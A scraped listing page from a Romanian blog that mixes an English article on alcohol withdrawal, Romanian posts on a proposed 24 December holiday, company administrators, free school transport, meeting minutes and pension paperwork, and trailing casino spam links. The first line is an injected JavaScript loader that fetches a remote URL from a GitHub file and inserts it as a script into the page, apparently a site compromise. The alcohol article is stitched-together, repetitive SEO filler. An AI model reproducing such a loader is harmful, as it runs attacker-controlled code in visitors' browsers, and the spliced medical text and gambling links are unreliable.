;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); Blog - Page 218 of 220 - Descarc.ro
  • 0722 - 39 69 59
  • info@descarc.ro

Alcohol withdrawal syndrome: mechanisms, manifestations, and management

Sober living

Alcohol withdrawal syndrome: mechanisms, manifestations, and management

Symptoms of alcohol withdrawal can range from mild to serious and can sometimes be life-threatening. If you drink only once in a while, you’re unlikely to have withdrawal symptoms. But if you’ve gone through alcohol withdrawal once, you’re more likely to go through it again. Liver biopsy was previously the gold standard for the diagnosis and assessment of steatosis and fibrosis; however, this modality is being replaced with noninvasive testing, including blood-based tests and elastography. In Substance abuse current practice, liver biopsy is reserved for situations where noninvasive testing is inconclusive or when the underlying etiology of liver disease is unclear. Risk factors for alcohol use disorder include a family history of issues with alcohol, depression and other mental health conditions, and genetic factors.

  • Most people with mild to moderate alcohol withdrawal don’t need treatment in a hospital.
  • The main ways to prevent alcohol withdrawal are to avoid alcohol altogether or to get professional help as soon as possible if you think you’re developing alcohol use disorder.
  • Your doctor will want to know if you have any mild itching, numbness, a pins-and-needles feeling, or burning.
  • Benzodiazepines can be given in a “fixed-dose” taper, “as-needed” depending on symptoms, or a combination of the 2.

What are the risk factors for alcohol withdrawal?

In minor withdrawal, patients always have intact orientation and are fully conscious. Symptoms start around 6 h after cessation or decrease in intake and last up to 4–48 h (early withdrawal).6, 10 Hallucinations of visual, tactile or auditory qualities, and illusions while conscious are symptoms of moderate withdrawal. The appearance of acute symptomatic seizures may emerge 6–48 h after the last drink.19 Delirium tremens (DT, onset 48–72 h after cessation of drinking) represents characteristics of severe withdrawal that may last for up to 2 weeks (late withdrawal).6, 10, 15, 18 The chronological development of the various symptoms is illustrated in Fig. Following alcohol cessation, alcohol withdrawal syndrome typically presents as minor symptoms such as mild anxiety, headache, gastrointestinal discomfort, and insomnia. This syndrome can further progress to severe manifestations, such as alcohol withdrawal delirium, which poses significant diagnostic and management challenges. Mild symptoms may progress to alcohol hallucinosis, characterized by visual or auditory hallucinations that usually subside within 48 hours after alcohol cessation.

alcohol withdrawal syndrome specialists

Treatment for alcohol use disorder

When used along with beta-blockers,clonidine may help get your heart rate or blood pressure back down to healthy levels. These medications aren’t for everyone but could help lessen severe DT symptoms, such as hallucinations and aggression. If you’re given this type of medication, you’ll need to be closely monitored.

  • Once they understand your drinking history, they’ll be better able to suggest treatments that could help you.
  • Alcohol withdrawal syndrome is a clinical diagnosis that relies heavily on the history and physical, which is also used to gauge disease severity.
  • Blood tests and imaging tests can show if organs, such as the liver, have been affected by a person’s intake of alcohol.
  • The final reference list was generated on the basis of relevance to the topics covered in this review.
  • When the supply of alcohol suddenly stops or decreases, withdrawal symptoms can develop.
  • As your body gets used to no alcohol, different treatments can make you more comfortable and keep your symptoms from getting worse.

Introduction ‐ Medical Burden of Alcohol Abuse

The detection of ethanol itself in different specimens is still a common diagnostic tool to prove alcohol consumption. Although ethanol is rapidly eliminated from the circulation, the time for detection by breath analysis is dependent on the amount of intake as ethanol depletes according to a linear reduction at about 0,15‰/1 h. There is a large degree of variability in alcohol metabolism as a result of both genetic and environmental factors.

About Medical News Today

alcohol withdrawal syndrome specialists

It slows down your brain function and changes the way your nerves send messages back and forth. For women, heavy drinking means four or more drinks on any day alcohol withdrawal syndrome symptoms or eight or more drinks per week. Anyone who thinks they are dependent on alcohol should consider speaking with a doctor. Our Find a Provider tool makes it easy to search Cleveland Clinic’s trusted network. It’s important to be honest about your alcohol use — and any other substance use — so your provider can give you the best care.

alcohol withdrawal syndrome specialists

The final reference list was generated on the basis of relevance to the topics covered in this review. None of the Food and Drug Administration-approved medications have been formally studied in patients with liver disease. Alcohol withdrawal syndrome is a clinical diagnosis that relies heavily https://saimnaved.webiiify.com/benzo-withdrawal-quitting-signs-symptoms-timeline/ on the history and physical, which is also used to gauge disease severity.

Find more top doctors on

The symptoms can range from mild to severe, with the most severe being life-threatening. Your doctor will want to know if you have any mild itching, numbness, a pins-and-needles feeling, or burning. Itching is also linked to hallucinations from alcohol withdrawal. Eating healthy foods, trying to get exercise, and getting enough sleep can help reduce some withdrawal symptoms, such as mood swings. If you take prescription medication, continue to take it as directed.

zi liberă
Utile

24 Decembrie – zi liberă?

Ziua de 24 decembrie ar putea deveni și ea zi de sărbătoare legală, în care salariații să nu meargă la muncă, potrivit unei propuneri legislative înregistrată recent la Senat. Astfel, numărul liberelor legale dintr-un an ar putea ajunge la 16.

Conform propunerii legislative de la Senat, se dorește modificarea articolului din Codul Muncii care enumeră zilele de sărbătoare legală în care nu se lucrează, astfel încât ziua de 24 decembrie să fie și ea inclusă.

Dacă modificările propuse vor fi adoptate, art. 139 din Codul Muncii se va modifica, iar ajunul Crăciunului va fi inclus în lista liberelor legale.

În România, Codul Muncii prevede un număr de 15 zile care sunt considerate a fi sărbători legale, iar potrivit inițiatorilor, în țara noastră numărul acestora este cel mai mic, comparativ cu alte state europene.

Totodată, legislația românească nu permite compensarea zilelor de sărbătoare care pică în weekend, cu zile libere nelucrătoare care pot fi luate ulterior.

Utile

Cine conduce firma? Asociatul sau administratorul?

O societate cu răspundere limitată este condusă de unul sau mai mulți asociați, precum și administratori. Unul dintre asociați poate avea calitatea de administrator. Toate drepturile și obligațiile administratorilor și asociaților sunt prevăzute în actul constitutiv al societății, în Legea nr. 31/1990 și se completează cu dispozițiile Codului civil (art. 1894-1902), adoptat prin Legea nr. 287/2009, republicată cu modificări, în vigoare de la 1 octombrie 2011).

Chiar dacă asociații au adunări generale prin care decid probleme firmei, despre care poți afla mai multe administratorul este cel care le duce la îndeplinire în viața de zi cu zi. El semnează toate documentele firmei și le pune în executare. Ca la stat, Parlamentul (asociații) decide, iar Guvernul (administratorul) execută.

Cine poate fi administrator într-un SRL?

Alineatul al doilea al articolului 1913 din Codul civil ne spune că administratorii pot fi asociați sau neasociați, persoane fizice ori persoane juridice, române sau străine.

Așadar, administratorul poate fi:

  • o persoană din firmă
  • o persoană din afara firmei
  • un cetățean român sau străin
  • o persoană juridică română sau străină

De toate pentru toți. Trebuie doar să vezi care e cea mai bună variantă pentru tine, că sigur ai cum să o pui în practică.

Administrator persoană fizică

Principalele condiții pentru ca o persoană fizică să aibă calitatea de administrator sunt:

  • Capacitatea juridică,
  • Onorabilitatea.

Pe lângă acestea, se pun trei probleme:

  • Problema calității de asociat a administratorului,
  • Problema cumulului funcției de administrator cu calitatea de salariat al aceleiași societăți,
  • Problema cumulului calității de administrator la mai multe societăți.

Capacitatea juridică a administratorului

Administratorul persoană fizică trebuie, potrivit art. 6 alin. (2) din Legea nr. 31/1990 să aibă capacitate deplină de folosință și de exercițiu.

Capacitatea de folosință este acea parte a capacității civile care constă în aptitudinea omului de a avea drepturi și obligații civile, iar capacitatea deplină de exercițiu este acea aptitudine de a dobândi și exercita drepturi civile și de a-și asuma și executa obligațiile civile.

Dat fiind faptul că administratorul încheie, pentru realizarea scopului societății, atât acte de administrare și conservare a patrimoniului social, cât și acte de dispoziție cu privire la acesta, este important ca cel numit administrator să aibă capacitate deplină de exercițiu. De aceea, legea prevede că o persoană lipsită de capacitate de exercițiu ori cu o capacitate de exercițiu restrânsă nu poate să exercite funcția de administrator.

Desemnarea ca administrator a unei persoane incapabile are drept consecință decăderea acesteia din drepturile aferente funcției de administrator, iar actele juridice încheiate de o asemenea persoană sunt lovite de nulitate absolută.

Asta înseamnă că trebuie să aibă 18 ani ca persoana fizică, pe scurt.

Onorabilitatea administratorului

Persoana fizică desemnată ca administrator trebuie să îndeplinească și condiția unei moralități neștirbite, poziția sa în cadrul societății impunând credibilitate, încredere, absolut necesară, atât în raporturile dintre administrator și societate, cât și în raporturile acestuia din urmă cu terții și cu ceilalți comercianți.

Condiția onorabilității administratorului este prevăzută expres în art. 6 alin (2) din Legea societăților. Acesta stabilește că nu pot fi administratori persoanele care sunt incapabile sau care au fost condamnate pentru gestiune frauduloasă, abuz de încredere, fals, uz de fals, înșelăciune, delapidare, mărturie mincinoasă, dare sau luare de mită, precum și pentru alte infracțiuni prevăzute de legea societăților.

ONRC nu are cum să verifice acest aspect, însă vei da o declarație pe proprie răspundere, sub sancțiunea de fals, în care precizezi expres că îndeplinești condițiile de mai sus.

Calitatea de asociat a administratorului

În privința cumulului calității de asociat cu cea de administrator în SRL, Legea societăților distingea anterior între societatea în nume colectiv și societatea în comandită simplă, unde administratorul trebuia să aibă calitatea de asociat, și societatea pe acțiuni sau în comandită pe acțiuni și societatea cu răspundere limitată, unde administratorul putea fi asociat sau neasociat.

În prezent, Legea nr. 31/1990 așa cum a fost modificată stabilește, potrivit art. 197 alin. (1) că, în principiu, în cazul societăților cu răspundere limitată, administratorul poate fi asociat sau neasociat, deci cele două calități se pot cumula sau nu, în funcție de situație.

Asta înseamnă, pe scurt, că administratorul poate fi o persoană ”din companie” sau ”din afara ei”, nu ai o obligație în acest sens.

Utile

Elevii din clasele primare vor beneficia de transport gratuit la școală

Elevii din clasele primare vor beneficia de transport gratuit la școală, începând cu prima zi a anului școlar 2022-2023.

Președintele Klaus Iohannis a promulgat, actul normativ pentru modificarea Legii educației naționale nr. 1/2011, care prevede că elevii din ciclul primar vor putea beneficia de transport specializat din sau către unitatea de învățământ, cheltuielile fiind asigurate de la bugetul de stat, prin virament, către unitățile administrativ-teritoriale. „

În municipii și orașe, elevii din învățământul primar care urmează cursurile unei școli de stat, private sau denumite autorizate/acreditate pot beneficia de transport specializat precum excursii școlare, pentru transport de la/la școală.

Acoperirea cheltuielilor pentru transportul specializat se asigură de la bugetul de stat, prin virament, către unitățile administrativ-teritoriale”, prevede legea.

Prevederile vor intra in vigoare incepand cu prima zi a anului scolar 2022 – 2023.

Inițiatorul actului normativ face în continuare lobby și pentru mese gratuite în creșe și grădinițe

Inițiatorul legii, deputatul Robert Sighiartău a precizat că următorul sau obiectiv pentru copii și familii este adoptarea unei alte propuneri legislative privind asigurarea unei alimentații sănătoase și gratuite pentru copiii de la creșe și grădinițe.

„Proiectul de lege a ajuns la Cameră, la Comisia pentru învățământ. Nu am orgolii de autor, important este ca proiectul să treacă într-o formulă prin consens și fără tergiversări, iar copiii să beneficieze de prevederile lui.

Mă voi lupta pentru asta. Copiii și familiile României merită tot ce e mai bun”, spune pe pagina sa de socializare deputatul Robert Sighiartău.

Utile

Cea mai bună structură a unei întâlniri

Cea mai bună structură a unei întâlniri:

Pe parcursul carierei, precum și în alte momente ale vieții, s-ar putea să vi se ceară să organizați o întâlnire. Ți se poate cere chiar să asumi un rol oficial de secretar al unui grup sau organizație, fie că este voluntar sau ca poziție plătită. În această calitate, este esențial să știți ce trebuie făcut și să puteți lua note clare și precise, deoarece acest rol este în primul rând de a crea o înregistrare oficială a întâlnirii.

Pregătire: Înainte de Ședință

Există o serie de lucruri pe care secretarul trebuie să le știe înainte de o întâlnire, dintre care majoritatea pot fi aflate cu ușurință întrebând persoana care urmează să prezideze ședința.

Cele mai importante sunt: Cine este de așteptat să facă aranjamentele pentru întâlnire, inclusiv să găsească un loc și să organizeze băuturi răcoritoare adecvate și orice facilități audio / video? Acesta este adesea secretarul.

Cine este responsabil de pregătirea agendei? Fiecare scaun va avea propria sa preferință, dar aceasta este, de obicei, o responsabilitate de secretariat, lucrând cu scaunul. Pot exista și alte persoane care au dreptul de a adăuga puncte pe ordinea de zi. Șeful ședinței are un rol în a se asigura că agenda nu este supraîncărcată, ceea ce poate include discutarea cu președintele și alții despre ceea ce ar putea fi amânat pentru o întâlnire ulterioară și ce ar putea fi acoperit într-un raport scris.

Ce tip de note sau minute sunt necesare? Trebuie să fie procese verbale oficiale care să stabilească cine a spus ce, sau note scurte care să înregistreze acțiunile convenite? Cât de repede trebuie să fie elaborate și distribuite notele sau procesele-verbale după întâlnire? Care este procesul de ștergere a notelor pentru publicare?

Unora dintre scaune le place să aprobe minute înainte de a fi trimise mai departe, în timp ce altele preferă ca acestea să fie distribuite mai multor participanți cheie în același timp. Dacă sunteți nou în rolul dvs. de secretar, merită, de asemenea, să aflați cine este așteptat să participe, organizațiile pe care le reprezintă și câteva dintre problemele care au fost ridicate la întâlnirile anterioare. Acest lucru vă va ajuta să înțelegeți ce se întâmplă. Puteți face acest lucru analizând procesele-verbale anterioare ale ședințelor și întrebând, de asemenea, președintele despre ce este probabil să se discute. Este imperativ să trimiteți notițele întâlnii. Aceasta va include, dar nu se limitează la, ordinea de zi, procesul-verbal al ultimei întâlniri și orice documente pentru discuții sau informații.

În ziua întâlnirii, sunt câteva lucruri care trebuie făcute:

Asigurați-vă că știți cine este așteptat să participe la întâlnire. Dacă clădirea are agenți de securitate, poate fi necesar să furnizați o listă cu participanții. Ajungeți devreme la locație și verificați dacă totul este în regulă. Dacă sunteți responsabil pentru aranjamentele întâlnirii, asigurați-vă că totul este acolo, sala este amenajată corect, orice echipament audio / video funcționează, există suficiente scaune și au sosit băuturi răcoritoare. Poate doriți să vă gândiți cine stă unde și chiar să ne marcați un plan de locuri, deoarece acest lucru face o diferență enormă în modul în care se desfășoară întâlnirea. Ar trebui să vă asigurați că scaunul este așezat central și că sunteți așezat lângă el. Asigurați-vă că aveți o mulțime de copii de rezervă ale documentelor pentru cei care nu au adus o copie. Dacă există o mulțime de lucrări, ar putea fi potrivit să le aranjați într-un dosar folosind numere de pagină/secțiuni, astfel încât participanții să poată găsi cu ușurință lucrări legate de discuția curentă. Dacă utilizați insigne cu numele, așezați-le în ordine alfabetică pe o masă de lângă ușă, de unde participanții le pot ridica pe măsură ce sosesc.

Scrierea efectivă a procesului-verbal al unei ședințe

Procesul-verbal va trebui să includă o listă completă a celor prezenți și a tuturor celor care și-au trimis scuze. Pentru a evita să mâzgăliți frenetic în timp ce oamenii se prezintă în jurul mesei, distribuiți o foaie de înscriere prin care le cere oamenilor să-și dea numele, organizațiile și datele de contact. Notați orice scuze pentru absență oferite în timpul prezentărilor: oamenii se prezintă adesea ca „înlocuitorii lui și, apropo, el/ea își trimite scuzele”.

Important:

Modul în care iei notițe în cadrul ședinței depinde de cât de formale trebuie să fie procesul-verbal. Dacă raportați doar un scurt rezumat al discuției, plus orice puncte de acțiune, atunci vă puteți permite să ascultați discuția și apoi să o rezumați sub formă de note. Dacă, totuși, se așteaptă să notați punctele principale făcute de vorbitori individuali, atunci va trebui să faceți un set mai complet de note, inclusiv numele sau inițialele vorbitorilor. Este o chestiune de alegere dacă folosiți un laptop sau un pix și hârtie pentru a nota, deși este bine să verificați în prealabil preferința participanților, mai ales într-un rol plătit.

Dosarul de pensionare
Dosare instituții

Dosarul de pensionare

Pensia pentru limita de varsta

Pensia pentru limita de varsta se cuvine persoanelor care indeplinesc, cumulativ, la data pensionarii, conditiile privind varsta standard de pensionare si stagiul minim de cotizare prevazute de lege.

Varsta standard de pensionare, stagiul complet de cotizare si stagiul minim de cotizare pentru femei si barbati sunt  stabilite in raport de luna si anul nasterii (Anexa nr. 5 la Legea nr. 263/2010, privind sistemul unitar de pensii publice, cu modificarile si completarile ulterioare).

Pensia anticipata – fara penalizarea cuantumului drepturilor de pensie

Persoanele care au realizat un stagiu de cotizare cu cel putin 8 ani mai mare decat stagiul complet de cotizare prevazut de lege, pot solicita pensia anticipata cu cel mult 5 ani inaintea implinirii varstei standard de pensionare.

Varsta standard de pensionare, stagiul complet de cotizare pentru femei si barbati sunt stabilite in raport de luna si anul nasterii (Anexa nr. 5 la Legea nr. 263/2010, privind sistemul unitar de pensii publice, cu modificarile si completarile ulterioare).

Cuantumul pensiei anticipate se stabileste in aceleasi conditii in care se stabileste cel al pensiei pentru limita de varsta.

Reducerea varstei standard de pensionare prevazuta la aceasta categorie de pensie  nu se cumuleaza cu nicio alta reducere reglementata de legea cadru sau de alte acte normative cu caracter special.

La stabilirea stagiului de cotizare pentru acordarea pensiei anticipate nu se iau in considerare perioadele asimilate stagiului de cotizare in care asiguratul:

a.  a beneficiat de pensie de invaliditate;

b. a urmat cursurile de zi ale invatamantului universitar, organizat potrivit legii, pe durata normala a studiilor respective, cu conditia absolvirii acestora cu diploma;

c.  a satisfacut serviciul militar ca militar in termen sau militar cu termen redus, pe durata legal stabilita, a fost concentrat, mobilizat sau in prizonierat.

Perioadele suplimentare acordate pentru activitatea desfasurata in grupele I si a II-a de munca, respectiv in conditii deosebite, conditii speciale si alte conditii de munca se au in vedere la stabilirea stagiului de cotizare realizat.

Pensia anticipata partiala – cu penalizarea cuantumului drepturilor de pensie

Pensia anticipata partiala se acorda cu cel mult 5 ani inainte de implinirea varstei standard de pensionare, persoanelor asigurate care au realizat stagiile complete de cotizare prevazute de lege, precum si celor care au depasit stagiul complet de cotizare cu pana la 8 ani.

Varsta standard de pensionare, stagiul complet de cotizare si stagiul minim de cotizare pentru femei si barbati sunt  stabilite in raport de luna si anul nasterii (Anexa nr. 5  la Legea nr. 263/2010, privind sistemul unitar de pensii publice, cu modificarile si completarile ulterioare).

Reducerea varstei standard de pensionare prevazuta la aceasta categorie de pensie nu se cumuleaza cu nicio alta reducere reglementata de legea cadru sau de alte acte normative cu caracter special.

La stabilirea stagiului de cotizare pentru acordarea pensiei anticipate partiale nu se iau in considerare perioadele asimilate stagiului de cotizare in care asiguratul:

a.  a beneficiat de pensie de invaliditate;

b. a urmat cursurile de zi ale invatamantului universitar, organizat potrivit legii, pe durata normala a studiilor respective, cu conditia absolvirii acestora cu diploma;

c.  a satisfacut serviciul militar ca militar in termen sau militar cu termen redus, pe durata legal stabilita, a fost concentrat, mobilizat sau in prizonierat.

Perioadele suplimentare acordate pentru activitatea desfasurata in grupele I si a II-a de munca, respectiv in conditii deosebite, conditii speciale si alte conditii de munca se au in vedere la stabilirea stagiului de cotizare realizat.​

Pensia de urmas

In situatia decesului asiguratului sau pensionarului, copiii si sotul supravietuitor  au dreptul la pensie de urmas, in urmatoarele conditii:

Copiii:

• pana la varsta de 16 ani;

• daca isi continua studiile intr-o forma de invatamant organizata potrivit legii, pana la terminarea acestora, fara a depasi varsta de 26 de ani;

• pe toata durata invaliditatii de orice grad, daca aceasta s-a ivit in perioada in care se aflau in una dintre situatiile prevazute mai sus.

Sotul supravietuitor:

• la implinirea varstei-standard de pensionare, daca durata casatoriei a fost de cel putin 15 ani. Daca durata casatoriei a fost mai mica de 15 ani, dar de cel putin 10 ani, cuantumul pensiei de urmas cuvenit se diminueaza cu 0,5% pentru fiecare luna, respectiv 6% pentru fiecare an de casatorie in minus;

• indiferent de varsta, pe perioada in care este invalid de gradul I sau II, daca durata casatoriei a fost de cel putin 1 an;

• indiferent de varsta si de durata casatoriei, daca decesul sotului sustinator s-a produs ca urmare a unui accident de munca sau a unei boli profesionale si daca nu realizeaza venituri lunare din activitati dependente:

a. in baza unui contract individual de munca;

b. in baza unui raport de serviciu;

c. din activitati in functii elective sau care sunt numite in cadrul autoritatii executive, legislative ori judecatoresti, pe durata mandatului, precum si ca membri cooperatori intr-o organizatie a cooperatiei mestesugaresti.

• care nu indeplineste conditiile de mai sus, beneficiaza de pensie de urmas pe o perioada de 6 luni de la data decesului daca in aceasta perioada nu realizeaza venituri lunare din activitati dependente:

a. in baza unui contract individual de munca;

b. in baza unui raport de serviciu;

c. din activitati in functii elective sau care sunt numite in cadrul autoritatii executive, legislative ori judecatoresti, pe durata mandatului, precum si ca membri cooperatori intr-o organizatie a cooperatiei mestesugaresti

• care are in ingrijire la data decesului sustinatorului unul sau mai multi copii in varsta de pana la 7 ani, beneficiaza de pensie de urmas pana la data implinirii de catre ultimul copil a varstei de 7 ani, in perioadele in care nu realizeaza venituri lunare din activitati independente:

a. in baza unui contract individual de munca;

b. in baza unui raport de serviciu;

c. din activitati in functii elective sau care sunt numite in cadrul autoritatii executive, legislative ori judecatoresti, pe durata mandatului, precum si ca membri cooperatori intr-o organizatie a cooperatiei mestesugaresti

Copiii si sotul supravietuitor care au dreptul la o pensie proprie si indeplinesc conditiile prevazute de lege pentru obtinerea pensiei de urmas dupa sustinatorul decedat pot opta pentru cea mai avantajoasa pensie.

Alte drepturi

In sistemul public de pensii, in afara pensiilor, se mai pot acorda, in conditiile legii, urmatoarele prestatii:

a) tratament balnear, altul decat cel care, potrivit legii, se suporta de la bugetul fondului national unic de asigurari sociale de sanatate, pentru asigurati si pensionari;

b) bilete de odihna, pentru asigurati;

c) ajutor de deces, in cazul decesului asiguratului, pensionarului sau unui membru al familiei unuia dintre acestia.

Casa Nationala de Pensii Publice acorda si o serie de indemnizatii cu caracter reparatoriu, stabilite prin legi speciale.

Acte necesare pentru dosarul de pensionare:

1. Fisa de pensie (formular tip);

2. Proces-verbal al comisiei de pensii din institutie;

3. Fisa de calcul al vechimii in munca;

4. Baza de calcul (5 ani din ultimii 10 ani, formular tip);

5. Copie xerox dupa decizii, dispozitiile de indexare a salariilor din perioada cuprinsa in baza de calcul;

6. Adeverinta eliberata de unitatea care inainteaza dosarul din care rezulta ca unitatea a achitat obligatiile privind bugetul asigurarilor sociale pentru persoana respectiva.

Reducere de 30% la prima descărcare?

Vreau!
X
0
    0
    Coș
    Coșul este golMagazin
    Continuă cumpărăturile
    Our Best Partners: watch crazy time live how jet apps download https://kasinopaynplay.com/ https://luckyjetwins.com/demo/ jogo do coelho cassino moon princess 100 jogo mines aposta nettikasinot ei rekisteröitymistä nye casinoer 2024 siirto talletus